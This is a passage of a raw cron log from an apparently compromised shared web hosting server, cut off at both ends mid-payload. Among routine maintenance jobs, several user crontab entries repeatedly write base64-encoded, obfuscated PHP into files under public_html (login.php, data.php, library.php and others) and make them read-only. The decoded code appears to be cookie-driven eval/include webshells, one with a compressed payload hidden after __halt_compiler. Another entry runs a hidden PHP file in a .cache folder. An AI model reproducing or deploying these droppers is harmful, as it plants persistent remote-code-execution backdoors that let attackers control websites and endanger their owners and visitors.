jdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:53:01 medusa CROND[5147]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:53:01 medusa CROND[5148]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:53:01 medusa CROND[5149]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:53:01 medusa CROND[5150]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  2 03:53:01 medusa CROND[5153]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:53:01 medusa CROND[5157]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:53:01 medusa CROND[5165]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:53:01 medusa CROND[5168]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:53:01 medusa CROND[5170]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:54:01 medusa CROND[20466]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  2 03:54:01 medusa CROND[20467]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:54:01 medusa CROND[20468]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  2 03:54:01 medusa CROND[20469]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:54:01 medusa CROND[20470]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:54:01 medusa CROND[20477]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:54:01 medusa CROND[20480]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:54:01 medusa CROND[20481]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  2 03:54:01 medusa CROND[20483]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  2 03:54:01 medusa CROND[20482]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:54:01 medusa CROND[20484]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:54:01 medusa CROND[20486]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:54:01 medusa CROND[20488]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:55:01 medusa CROND[4413]: (root) CMD (/usr/bin/flock -n /var/run/edition_watcher.cronlock /usr/sbin/cloudlinux-edition-watcher check &> /dev/null)
Mar  2 03:55:01 medusa CROND[4426]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-syncpkg.cronlock /usr/bin/cl-syncpkgs)
Mar  2 03:55:01 medusa CROND[4427]: (root) CMD (   bash -c "sleep $((RANDOM % 60))" ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Mar  2 03:55:01 medusa CROND[4477]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Mar  2 03:55:01 medusa CROND[4489]: (root) CMD (/usr/bin/flock -n /var/run/detect_edition_changes.cronlock /usr/share/l.v.e-manager/detect_edition_changes.py > /dev/null 2>&1)
Mar  2 03:55:01 medusa CROND[4565]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cl-quota.cronlock /usr/bin/cl-quota -YC)
Mar  2 03:55:01 medusa CROND[4697]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  2 03:55:01 medusa CROND[4699]: (root) CMD (/usr/local/cpanel/scripts/gather_update_log_stats --logfile /var/cpanel/updatelogs/last --upload > /dev/null 2>&1)
Mar  2 03:55:01 medusa CROND[4700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  2 03:55:01 medusa CROND[4705]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  2 03:55:01 medusa CROND[4710]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  2 03:55:01 medusa CROND[4704]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Mar  2 03:55:01 medusa CROND[4702]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_cache_php.cronlock /usr/share/l.v.e-manager/utils/cache_phpdata.py)
Mar  2 03:55:01 medusa CROND[4719]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  2 03:55:01 medusa CROND[4720]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  2 03:55:01 medusa CROND[4724]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6